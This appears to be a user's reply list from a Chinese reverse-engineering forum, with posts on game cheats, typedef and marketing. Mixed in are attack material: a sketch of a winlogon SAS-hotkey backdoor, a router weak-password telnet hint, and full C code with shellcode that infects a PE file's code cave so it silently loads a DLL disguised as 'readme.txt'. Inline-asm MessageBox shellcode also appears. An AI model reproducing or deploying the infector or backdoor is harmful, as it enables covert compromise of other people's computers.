|
[原创]我的学写外挂之路
可能方法的问题亲,多想想 学习的方法, 我原来也有过这样的经历,全部东西自学, 后来慢慢的发现 其实在学习之前方法很重要。 |
|
[求助][原创]关于WINXP下自定义热键的问题
做了下测试,如果是CTRL+ALT+DELETE(SAS)这种系统热键不管你是否拥有SYSTEM权限都不可以响应消息的。其它的与系统不冲突的热键都可以响应不管是否为system权限,如下图所示 。 如果是处理CTRL+ALT+DELETE (SAS热键),那么它是有winlogon.exe的消息回调函数来处理的,我们需要找到这个消息处理函数,并使用SetWindowLong函数将其设置我们劫持的窗口处理函数,这也是windows的SAS热键后门的思路。 你可以搜索:虎子哥哥 SAS热键原理 , 好像是09年黑客防线的一篇文章 。 希望对你有所帮助。 |
|
[求助]Win32threadInfo结构
如果您是一位乐于帮助人的人,可以联系寇xxx寇xxxx:四九六1918九1,3KS。。 |
|
[求助]菜鸟问题,typedef在编译器中是如何实现的?求大牛帮助!
换句话说 : typedef 只是为了 遵循让程序员好说, 编译器最终解决让机器能听懂。。 |
|
[求助]菜鸟问题,typedef在编译器中是如何实现的?求大牛帮助!
恩。。前些天 查了C++的标准 。明白了 谢谢 半道出家! |
|
有用过这个软件的吗,是不是骗人的?
你懂营销 就这知道这是一种最简单的 营销方法。。什么限量赠品 只售50件等等 就是为了促使你产生成交 你发的 这个帖子 在很多地方可能也被理解为营销手段 |
|
[求助]菜鸟问题,typedef在编译器中是如何实现的?求大牛帮助!
是不是可以理解为---->编译器 发现关键字 typedef ->然后 确定它的大小后 ,直接生成变量的符号表就ok了,类型是没有符号表的 这样貌似可以 |
|
路由器弱口令利用
哈哈,老问题了,看路由器的类型的,有的可以直接在开机时开启telnet的。 |
|
[求助]LordPE添加输入表出错
嘿嘿,写shellcode直接定位LoadLibrary动态加载你需要引入的dll。 //下面的代码是通过寻找区段间因为对齐而产生的NULL空区域,然后写入Shellcode,shellcode的作用是定位kernel32.dll中的loadlibraryw然后动态加载dll,dll文件名为 readme.txt,起的名字有点迷惑性,你懂的。用的时候,记得将要注入的dll 写成readme.txt的名字 示例代码如下: BOOL InjectPe(PCHAR pefile) { LPVOID lpbase = FileMap(pefile); if (lpbase==NULL) return FALSE; pdos = (PIMAGE_DOS_HEADER)lpbase; pnt = (PIMAGE_NT_HEADERS)((PBYTE)lpbase + pdos->e_lfanew); DWORD dwOep = pnt->OptionalHeader.ImageBase + pnt->OptionalHeader.AddressOfEntryPoint; pfirst = (PIMAGE_SECTION_HEADER)((PBYTE)lpbase + pdos->e_lfanew + sizeof(IMAGE_NT_SIGNATURE) + sizeof(IMAGE_FILE_HEADER) + pnt->FileHeader.SizeOfOptionalHeader); //判断代码段中的零区域 DWORD dwCode = (pfirst + 1)->VirtualAddress - pfirst->VirtualAddress - pfirst->Misc.VirtualSize; DWORD dwNullRva = pfirst->VirtualAddress + pfirst->Misc.VirtualSize; cout<<hex<<pfirst->Name<<": "<< dwNullRva + pnt->OptionalHeader.ImageBase<<" size:"<<dwCode<<endl; if (dwCode <= 0x82) { cout<<"not enough space to write !"<<endl; UnmapViewOfFile(pe.lpbase); CloseHandle(pe.hmap); CloseHandle(pe.hfile); return FALSE; } CHAR shellcode[200] = "\x68\x90\x90\x90\x90" "\x60\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x8B" "\xE8\x8B\x45\x3C\x8B\x54\x05\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\x49\x8B\x34\x8B\x03" "\xF5\xB8\x4C\x6F\x61\x64\x39\x06\x75\xF1\xB8\x4C\x69\x62\x72\x39\x46\x04\x75\xE7\x8B\x5A\x24" "\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x6A\x00\x68\x78\x00\x74\x00" "\x68\x2E\x00\x74\x00\x68\x6D\x00\x65\x00\x68\x61\x00\x64\x00\x68\x72\x00\x65\x00\x8B\xDC\x53" "\xFF\xD0\x83\xC4\x18\x61\xC3"; DWORD dwSecOffset = pfirst->VirtualAddress - pfirst->PointerToRawData; DWORD dwNullOffset = dwNullRva - dwSecOffset; //更改OEP *(DWORD*) & shellcode[1] = dwOep; SetFilePointer(pe.hfile,dwNullOffset,NULL,FILE_BEGIN); DWORD dwReal = 0; WriteFile(pe.hfile,shellcode,200,&dwReal,NULL); //更新入口点 pnt->OptionalHeader.AddressOfEntryPoint = dwNullRva; UnmapViewOfFile(pe.lpbase); CloseHandle(pe.hmap); CloseHandle(pe.hfile); return TRUE; } |
|
如何用内联汇编编写一个对话框,不用C中的变量
shellcode最下面的部分有问题,的shellcode中对字符串的处理,push word 0x00这个指令不对,第二引用的地址不对,lea ecx,[esp] esp的内容就是当前栈顶,你加上[]它实际上把字符串的值当成了地址。参考下面修改后的代码,你加到vc内联汇编中就行,在od中能正常运行 push 0 push 0x41424344 push 31323334 mov ecx,esp push 0 push 0X61486148 mov edx,esp push 0 push edx push ecx push 0 call ebx |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值